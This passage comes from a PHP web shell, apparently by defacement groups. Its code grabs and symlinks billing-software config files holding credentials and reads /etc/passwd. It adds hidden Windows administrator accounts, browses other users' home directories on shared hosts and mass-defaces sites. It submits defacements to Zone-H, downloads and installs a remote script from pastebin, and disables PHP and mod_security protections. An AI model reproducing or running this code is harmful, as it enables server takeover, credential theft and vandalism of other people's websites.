"WHMCS",\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\n);  \n\nforeach($grab_config as $config => $nama_config) {\n    if($_POST[\'config\'] == \'grab\') {\n$ambil_config = file_get_contents($config);\nif($ambil_config == \'\') {\n} else {\n$file_config = fopen("rbbd_configgrab/$user_rbbd-$nama_config.txt","w");\nfputs($file_config,$ambil_config);\n}\n}\nif($_POST[\'config\'] == \'symlink\') {\n@symlink($config,"rbbd_Symconfig/".$user_rbbd."-".$nama_config.".txt");\n}\nif($_POST[\'config\'] == \'404\') {\n$sym404=symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt");\nif($sym404){\n    @mkdir("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404", 0777);\n    $htaccess="Options Indexes FollowSymLinks\nDirectoryIndex rbbd.htm\nHeaderName rbbd.txt\nSatisfy Any\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\nIndexIgnore *";\n\n@file_put_contents("rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/.htaccess",$htaccess);\n\n@symlink($config,"rbbd_sym404/".$user_rbbd."-".$nama_config.".txt404/rbbd.txt");\n\n    }\n\n}\n\n                    }     \n        }  if($_POST[\'config\'] == \'grab\') {\n            echo "<center><a href=\'?path=$path/rbbd_configgrab\'><font color=lime>Done</font></a></center>";\n        }\n    if($_POST[\'config\'] == \'404\') {\n        echo "<center>\n<a href=\\"rbbd_sym404/root/\\">SymlinkNya</a>\n<br><a href=\\"rbbd_sym404/\\">Configurations</a></center>";\n    }\n     if($_POST[\'config\'] == \'symlink\') {\necho "<center>\n<a href=\\"rbbd_symconfig/root/\\">Symlinknya</a>\n<br><a href=\\"rbbd_symconfig/\\">Configurations</a></center>";\n            }if($_POST[\'config\'] == \'symvhost\') {\necho "<center>\n<a href=\\"rbbd_symvhost/root/\\">Root Server</a>\n<br><a href=\\"rbbd_symvhost/\\">Configurations</a></center>";\n            }\n        \n        \n        }else{\n        echo "<form method=\\"post\\" action=\\"\\"><center>\n        </center></select><br><textarea name=\\"passwd\\" class=\'area\' rows=\'15\' cols=\'60\'>\\n";\n        echo include("/etc/passwd"); \n        echo "</textarea><br><br>\n        <select class=\\"select\\" name=\\"config\\"  style=\\"width: 450px;\\" height=\\"10\\">\n        <option value=\\"grab\\">Config Grab</option>\n        <option value=\\"symlink\\">Symlink Config</option>\n        <option value=\\"404\\">Config 404</option>\n        <option value=\\"symvhosts\\">Vhosts Config Grabber</option><br><br><input type=\\"submit\\" value=\\"Start!!\\"></td></tr></center>\\n";\n}\n\n#ADMINER\n} elseif($_GET[\'a\'] == \'adminer\') {\n    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n    function adminer($url, $isi) {\n        $fp = fopen($isi, "w");\n        $ch = curl_init();\n              curl_setopt($ch, CURLOPT_URL, $url);\n              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n              curl_setopt($ch, CURLOPT_FILE, $fp);\n        return curl_exec($ch);\n              curl_close($ch);\n        fclose($fp);\n        ob_flush();\n        flush();\n    }\n    if(file_exists(\'adminer.php\')) {\n        echo "<center><font color=yellow><a href=\'$full/adminer.php\' target=\'_blank\'>enter Adminer</a></font></center>";\n    } else {\n        if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\n            echo "<center><font color=yellow><a href=\'$full/adminer.php\' target=\'_blank\'>enter Adminer</a></font></center>";\n        } else {\n            echo "<center><font color=red>Filed file adminer</font></center>";\n        }\n    }\n\n#KRDP_SHELL\n} elseif($_GET[\'a\'] == \'rdpshell\') {\n    if(strtolower(substr(PHP_OS, 0, 3)) === \'win\') {\n        if($_POST[\'create\']) {\n            $user = htmlspecialchars($_POST[\'user\']);\n            $pass = htmlspecialchars($_POST[\'pass\']);\n            if(preg_match("/$user/", exe("net user"))) {\n                echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";\n            } else {\n                $add_user   = exe("net user $user $pass /add");\n                $add_groups1 = exe("net localgroup Administrators $user /add");\n                $add_groups2 = exe("net localgroup Administrator $user /add");\n                $add_groups3 = exe("net localgroup Administrator $user /add");\n                echo "[ RDP ACCOUNT INFO ]<br>\n                ------------------------------<br>\n                IP: <font color=lime>".$ip."</font><br>\n                Username: <font color=lime>$user</font><br>\n                Password: <font color=lime>$pass</font><br>\n                ------------------------------<br><br>\n                [ STATUS ]<br>\n                ------------------------------<br>\n                ";\n                if($add_user) {\n                    echo "[add user] -> <font color=\'lime\'>Berhasil</font><br>";\n                } else {\n                    echo "[add user] -> <font color=\'red\'>Gagal</font><br>";\n                }\n                if($add_groups1) {\n                    echo "[add localgroup Administrators] -> <font color=\'lime\'>Berhasil</font><br>";\n                } elseif($add_groups2) {\n                    echo "[add localgroup Administrator] -> <font color=\'lime\'>Success</font><br>";\n                } elseif($add_groups3) { \n                    echo "[add localgroup Administrateur] -> <font color=\'lime\'>Success</font><br>";\n                } else {\n                    echo "[add localgroup] -> <font color=\'red\'>Filed</font><br>";\n                }\n                echo "------------------------------<br>";\n            }\n        } elseif($_POST[\'s_opsi\']) {\n            $user = htmlspecialchars($_POST[\'r_user\']);\n            if($_POST[\'opsi\'] == \'1\') {\n                $cek = exe("net user $user");\n                echo "Checking username <font color=lime>$user</font> ....... ";\n                if(preg_match("/$user/", $cek)) {\n                    echo "[ <font color=lime>Sudah ada</font> ]<br>\n                    ------------------------------<br><br>\n                    <pre>$cek</pre>";\n                } else {\n                    echo "[ <font color=red>belum ada</font> ]";\n                }\n            } elseif($_POST[\'opsi\'] == \'2\') {\n                $cek = exe("net user $user indoxploit");\n                if(preg_match("/$user/", exe("net user"))) {\n                    echo "[change password: <font color=lime>indoxploit</font>] -> ";\n                    if($cek) {\n                        echo "<font color=lime>ok</font>";\n                    } else {\n                        echo "<font color=red>Filed</font>";\n                    }\n                } else {\n                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";\n                }\n            } elseif($_POST[\'opsi\'] == \'3\') {\n                $cek = exe("net user $user /DELETE");\n                if(preg_match("/$user/", exe("net user"))) {\n                    echo "[remove user: <font color=lime>$user</font>] -> ";\n                    if($cek) {\n                        echo "<font color=lime>ok</font>";\n                    } else {\n                        echo "<font color=red>error</font>";\n                    }\n                } else {\n                    echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";\n                }\n            } else {\n                //\n            }\n        } else {\n            echo "-- Create RDP --<br>\n            <form method=\'post\'>\n            <input type=\'text\' name=\'user\' placeholder=\'username\' value=\'  username\' required>\n            <input type=\'text\' name=\'pass\' placeholder=\'password\' value=\'  password\' required>\n            <input type=\'submit\' name=\'create\' value=\'>>\'>\n            </form>\n            -- Option --<br>\n            <form method=\'post\'>\n            <input type=\'text\' name=\'r_user\' placeholder=\'  username\' required>\n            <select name=\'opsi\'>\n            <option value=\'1\'>Cek Username</option>\n            <option value=\'2\'>Ubah Password</option>\n            <option value=\'3\'>Hapus Username</option>\n            </select>\n            <input type=\'submit\' name=\'s_opsi\' value=\'>>\'>\n            </form>\n            ";\n        }\n    } else {\n        echo "<font color=red>can only be on Windows server.</font>";\n    }\n#JUMPING\n} elseif($_GET[\'a\'] == \'jumping\') {\n    $i = 0;\n    echo "<div class=\'margin: 5px auto;\'>";\n    if(preg_match("/hsphere/", $dir)) {\n        $urls = explode("\\r\\n", $_POST[\'url\']);\n        if(isset($_POST[\'jump\'])) {\n            echo "<pre>";\n            foreach($urls as $url) {\n                $url = str_replace(array("http://","www."), "", strtolower($url));\n                $etc = "/etc/passwd";\n                $f = fopen($etc,"r");\n                while($gets = fgets($f)) {\n                    $pecah = explode(":", $gets);\n                    $user = $pecah[0];\n                    $dir_user = "/hsphere/local/home/$user";\n                    if(is_dir($dir_user) === true) {\n                        $url_user = $dir_user."/".$url;\n                        if(is_readable($url_user)) {\n                            $i++;\n                            $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$url_user\'><font color=gold>$url_user</font></a>";\n                            if(is_writable($url_user)) {\n                                $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$url_user\'><font color=gold>$url_user</font></a>";\n                            }\n                            echo $jrw."<br>";\n                        }\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n        } else {\n            echo \'<center>\n                  <form method="post">\n                  List Domains: <br>\n                  <textarea name="url" style="width: 500px; height: 250px;">\';\n            $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");\n            while($getss = fgets($fp)) {\n                echo $getss;\n            }\n            echo  \'</textarea><br>\n                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\n                  </form></center>\';\n        }\n    } elseif(preg_match("/vhosts|vhost/", $dir)) {\n        preg_match("/\\/var\\/www\\/(.*?)\\//", $dir, $vh);\n        $urls = explode("\\r\\n", $_POST[\'url\']);\n        if(isset($_POST[\'jump\'])) {\n            echo "<pre>";\n            foreach($urls as $url) {\n                $url = str_replace("www.", "", $url);\n                $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";\n                if(is_dir($web_vh) === true) {\n                    if(is_readable($web_vh)) {\n                        $i++;\n                        $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$web_vh\'><font color=gold>$web_vh</font></a>";\n                        if(is_writable($web_vh)) {\n                            $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$web_vh\'><font color=gold>$web_vh</font></a>";\n                        }\n                        echo $jrw."<br>";\n                    }\n                }\n            }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n        } else {\n            echo \'<center>\n                  <form method="post">\n                  List Domains: <br>\n                  <textarea name="url" style="width: 500px; height: 250px;">\';\n                  bing("ip:$ip");\n            echo  \'</textarea><br>\n                  <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\n                  </form></center>\';\n        }\n    } else {\n        echo "<pre>";\n        $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can\'t read /etc/passwd</font>");\n        while($passwd = fgets($etc)) {\n            if($passwd == \'\' || !$etc) {\n                echo "<font color=red>Can\'t read /etc/passwd</font>";\n            } else {\n                preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\n                foreach($user_jumping[1] as $user_idx_jump) {\n                    $user_jumping_dir = "/home/$user_idx_jump/public_html";\n                    if(is_readable($user_jumping_dir)) {\n                        $i++;\n                        $jrw = "[<font color=lime>R</font>] <a href=\'?dir=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";\n                        if(is_writable($user_jumping_dir)) {\n                            $jrw = "[<font color=lime>RW</font>] <a href=\'?dir=$user_jumping_dir\'><font color=gold>$user_jumping_dir</font></a>";\n                        }\n                        echo $jrw;\n                        if(function_exists(\'posix_getpwuid\')) {\n                            $domain_jump = file_get_contents("/etc/named.conf");    \n                            if($domain_jump == \'\') {\n                                echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";\n                            } else {\n                                preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\n                                foreach($domains_jump[1] as $dj) {\n                                    $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\n                                    $user_jumping_url = $user_jumping_url[\'name\'];\n                                    if($user_jumping_url == $user_idx_jump) {\n                                        echo " => ( <u>$dj</u> )<br>";\n                                        break;\n                                    }\n                                }\n                            }\n                        } else {\n                            echo "<br>";\n                        }\n                    }\n                }\n            }\n        }\n        if($i == 0) { \n        } else {\n            echo "<br>Total ada ".$i." Kamar di ".$ip;\n        }\n        echo "</pre>";\n    }\n    echo "</div>";\n\n//Zone-H Mass Poster\n} elseif($_GET[\'a\'] == \'zone-h\') {\n    if($_POST[\'submit\']) {\n$domain = explode("\\r\\n", $_POST[\'url\']);\n$nick =  $_POST[\'nick\'];\necho "<font color=red>Defacer Onhold : <a href=\'http://www.zone-h.org/archive/notifier=$nick/published=0\' target=\'_blank\'><font color=yellow>http://www.zone-h.org/archive/notifier=$nick/published=0</a></font><br>";\necho "<font color=red>Defacer Archive : <a href=\'http://www.zone-h.org/archive/notifier=$nick\' target=\'_blank\'><font color=yellow>http://www.zone-h.org/archive/notifier=$nick</a></font><br><br>";\nfunction zoneh($url,$nick) {\n    $ch = curl_init("http://www.zone-h.com/notify/single");\n          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n          curl_setopt($ch, CURLOPT_POST, true);\n          curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");\n    return curl_exec($ch);\n          curl_close($ch);\n}\nforeach($domain as $url) {\n    $zoneh = zoneh($url,$nick);\n    if(preg_match("/color=\\"red\\">OK<\\/font><\\/li>/i", $zoneh)) {\n        echo "$url -> <font color=yellow>-> OK</font><br>";\n    } else {\n        echo "$url -> <font color=red>-> ERROR</font><br>";\n    }\n}\n    } else {\necho "<center><font color=yellow size=3> Zone-H Mass Submit</center><br>\n        <form method=\'post\'>\n<u>Defacer</u>: <br>\n<input type=\'text\' name=\'nick\' size=\'50\' value=\'Royal Battler BD\'><br>\n<u>Domain</u>: <br>\n<textarea style=\'width: 450px; height: 150px;\' name=\'url\'></textarea><br>\n<input type=\'submit\' name=\'submit\' value=\'Submit\' style=\'width: 450px;\'>\n</form></font>";\n    }\n    echo "</center>";\n\n//MASS Deface\n} elseif(isset($_GET[\'a\']) && ($_GET[\'a\'] == \'mass_deface\')){\n    function sabun_massal($dir,$namafile,$isi_script) {\n        foreach($j as $lokasi)\n        if(is_writable($dir)) {\n            $dira = scandir($dir);\n            foreach($dira as $dirb) {\n                $dirc = "$dir/$dirb";\n                $lokasi = $dirc.\'/\'.$namafile;\n                if($dirb === \'.\') {\n                    file_put_contents($lokasi, $isi_script);\n                } elseif($dirb === \'..\') {\n                    file_put_contents($lokasi, $isi_script);\n                } else {\n                    if(is_dir($dirc)) {\n                        if(is_writable($dirc)) {\n                            \n                            echo "[<font color=#5ddcfc>Selesai Gan</font>] $lokasi<br>";\n                            file_put_contents($lokasi, $isi_script);\n                            $idx = sabun_massal($dirc,$namafile,$isi_script);\n                        }\n                    }\n                }\n            }\n        }\n    }\n    function sabun_biasa($dir,$namafile,$isi_script) {\n        if(is_writable($dir)) {\n            $dira = scandir($dir);\n            foreach($dira as $dirb) {\n                $dirc = "$dir/$dirb";\n                $lokasi = $dirc.\'/\'.$namafile;\n                if($dirb === \'.\') {\n                    file_put_contents($lokasi, $isi_script);\n                } elseif($dirb === \'..\') {\n                    file_put_contents($lokasi, $isi_script);\n                } else {\n                    if(is_dir($dirc)) {\n                        if(is_writable($dirc)) {\n                            echo "[<font color=#5ddcfc>Selesai Gan</font>] $dirb/$namafile<br>";\n                            file_put_contents($lokasi, $isi_script);\n                        }\n                    }\n                }\n            }\n        }\n    }\n    if($_POST[\'start\']) {\n        if($_POST[\'tipe_sabun\'] == \'mahal\') {\n            echo "<div style=\'margin: 5px auto; padding: 5px\'>";\n            sabun_massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n            echo "</div>";\n        } elseif($_POST[\'tipe_sabun\'] == \'murah\') {\n            echo "<div style=\'margin: 5px auto; padding: 5px\'>";\n            sabun_biasa($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\n            echo "</div>";\n        }\n    } else {\n    echo "<center>";\n    echo "<form method=\'post\'>\n    <font style=\'text-decoration: underline;\'>Type  of mass :</font><br>\n    <input type=\'radio\' name=\'tipe_sabun\' value=\'murah\' checked>All Dir mass deface<input type=\'radio\' name=\'tipe_sabun\' value=\'mahal\'>1 Dir<br>\n    <font style=\'text-decoration: underline;\'>Folder :</font><br>\n    <input type=\'text\' name=\'d_dir\' value=\'$path\' style=\'width: 450px;\' height=\'10\'><br>\n    <font style=\'text-decoration: underline;\'>Filename :</font><br>\n    <input type=\'text\' name=\'d_file\' value=\'index.php\' style=\'width: 450px;\' height=\'10\'><br>\n    <font style=\'text-decoration: underline;\'>Deface page :</font><br>\n    <textarea name=\'script\' style=\'width: 450px; height: 200px;\'>past here your fucking deface page bro</textarea><br>\n    <input type=\'submit\' name=\'start\' value=\'Mass Deface\' style=\'width: 450px;\'>\n    </form></center>";\n    }\n    \n\n#CHANGEPASSWORDCP\n } elseif($_GET[\'a\'] == \'getcp\') {\n    $full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\n    function getcp($url, $isi) {\n        $fp = fopen($isi, "w");\n        $ch = curl_init();\n              curl_setopt($ch, CURLOPT_URL, $url);\n              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\n              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n              curl_setopt($ch, CURLOPT_FILE, $fp);\n        return curl_exec($ch);\n              curl_close($ch);\n        fclose($fp);\n        ob_flush();\n        flush();\n    }\n    if(file_exists(\'getcp.php\')) {\n        echo "<center><font color=lime><a href=\'$full/getcp.php\' target=\'_blank\'>-> click >:( <-</a></font></center>";\n    } else {\n        if(getcp("https://pastebin.com/raw/bsL2gBtu","getcp.php")) {\n            echo "<center><font color=lime><a href=\'$full/getcp.php\' target=\'_blank\'> okk</a></font></center>";\n        } else {\n            echo "<center><font color=red>Error :(</font></center>";\n        }\n    }\n\n\n} elseif($_GET[\'a\'] == \'disablefunc\'){\n        echo "<br><br><center>";\n        echo "<form method=post><input type=submit name=ini value=\'php.ini\' />&nbsp;<input type=submit name=htce value=\'.htaccess\' />&nbsp;<input type=submit name=litini value=\'Litespeed\' /></form>";\n        if(isset($_POST[\'ini\']))\n{\n        $file = fopen("php.ini","w");\n        echo fwrite($file,"disable_functions=none\nsafe_mode = Off\n    ");\n        fclose($file);\n        echo "<a href=\'php.ini\'>click here!</a>";\n}       if(isset($_POST[\'htce\']))\n{\n        $file = fopen(".htaccess","w");\n        echo fwrite($file,"<IfModule mod_security.c>\nSecFilterEngine Off\nSecFilterScanPOST Off\n</IfModule>\n    ");\n        fclose($file);\n        echo "htaccess successfully created!";\n}               if(isset($_POST[\'litini\'])){\n        $iniph = \'<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>\';\n             $byph = "safe_mode = Off n disable_functions= ";\n        $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";\n        file_put_contents("php.ini",base64_decode($byph));\n        file_put_contents("ini.php",base64_decode($iniph));\n        file_put_contents(".htaccess",base64_decode($comp));\n        echo "<script>alert(\'Disable Functions in Litespeed Created\'); hideAll();</script>";\n        echo"</center>";\n}\n\n}\nelseif($_GET[\'a\'] == \'symlink\') {\n$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $path);\n$d0mains = @file("/etc/named.conf");\n##httaces\nif($d0mains){\n@mkdir("fighter_sym",0777);\n@chdir("fighter_sym");\n@exe("ln -s / root");\n$file3 = \'Options Indexes FollowSymLinks\nDirectoryIndex fighter.htm\nAddType text/plain .php\nAddHandler text/plain .php\nSatisfy Any\';\n$fp3 = fopen(\'.htaccess\',\'w\');\n$fw3 = fwrite($fp3,$file3);@fclose($fp3);\necho "<br>\n<table align=center border=1 style=\'width:60%;border-color:#333333;\'>\n<tr>\n<td align=center><font size=2>S. No.</font></td>\n<td align=center><font size=2>Domains</font></td>\n<td align=center><font size=2>Users</font></td>\n<td align=center><font size=2>Symlink</font></td>\n</tr>";\n$dcount = 1;\nforeach($d0mains as $d0main){\nif(eregi("zone",$d0main)){preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);\nflush();\nif(strlen(trim($domains[1][0])) > 2){\n$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));\necho "<tr align=center><td><font size=2>" . $dcount . 